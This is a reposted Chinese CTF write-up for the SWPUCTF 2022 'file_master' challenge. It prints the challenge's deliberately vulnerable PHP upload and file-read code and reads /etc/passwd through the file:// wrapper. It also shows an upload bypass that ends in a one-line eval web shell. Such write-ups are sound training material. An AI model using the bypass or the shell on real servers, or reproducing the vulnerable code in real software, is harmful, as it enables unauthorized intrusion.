NSS [SWPUCTF 2022 新生赛]file_master

NSS [SWPUCTF 2022 新生赛]file_master

开题,一眼文件上传。

image-20230930170823112

network看看返回包。后端语言是PHP。

image-20230930170941967

除了文件上传还有个查看文件功能。

image-20230930171125918

起手式查询/etc/passwd,发现查询方法是GET提交参数,后端使用file_get_contents()函数包含文件。同时有open_basedir配置项限制PHP可访问的目录。

image-20230930171433902

我们尝试用伪协议读取文件源码。index.php

?filename=file:///var/www/html/index.php

image-20230930171621910

<?php
    session_start();
    if(isset($_GET['filename'])){
    
    
        echo file_get_contents($_GET['filename']);
    }
    else if(isset($_FILES['file']['name'])){
    
    
        $whtie_list = array("image/jpeg");
        $filetype = $_FILES["file"]["type"];
        if(in_array($filetype,$whtie_list)){
    
    
            $img_info = @getimagesize($_FILES["file"]["tmp_name"]);
            if($img_info){
    
    
                if($img_info[0]<=20 && $img_info[1]<=20){
    
    
                    if(!is_dir("upload/".session_id())){
    
    
                        mkdir("upload/".session_id());
                    }
                    $save_path = "upload/".session_id()."/".$_FILES["file"]["name"];
                    move_uploaded_file($_FILES["file"]["tmp_name"],$save_path);
                    $content = file_get_contents($save_path);
                    if(preg_match("/php/i",$content)){
    
    
                        sleep(5);
                        @unlink($save_path);
                        die("hacker!!!");
                    }else{
    
    
                        echo "upload success!! upload/your_sessionid/your_filename";
                    }
                }else{
    
    
                    die("image hight and width must less than 20");
                }
            }else{
    
    
                die("invalid file head");
            }
        }else{
    
    
            die("invalid file type!image/jpeg only!!");
        }
    }else{
    
    
        echo '<img src="data:jpg;base64,'.base64_encode(file_get_contents("welcome.jpg")).'">';
    }
?>

有了源码直接变成白盒文件上传。分析一下源码,比较重要的四个点如下:

image-20230930184447294

起手式上传.php然后抓包尝试绕过题目对文件属性和内容的过滤。

Content-Type: image/jpeg

内容:
#define height 19
#define width 19
<?= @eval($_POST[1]);?>

image-20230930172810956

image-20230930185128301

上传成功后访问/upload/2kduk0uasdqn4bssun6b3kqumr/myshell.php。直接getshell。

image-20230930185353647

猜你喜欢

转载自blog.csdn.net/Jayjay___/article/details/140913363